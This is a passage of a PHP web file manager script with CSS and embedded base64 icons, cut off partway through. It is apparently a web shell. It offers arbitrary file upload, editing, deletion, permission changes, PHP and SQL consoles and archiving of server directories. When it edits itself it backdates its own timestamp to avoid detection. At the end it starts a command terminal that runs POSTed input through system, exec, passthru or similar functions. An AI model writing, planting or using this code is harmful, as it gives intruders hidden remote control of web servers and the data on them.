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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
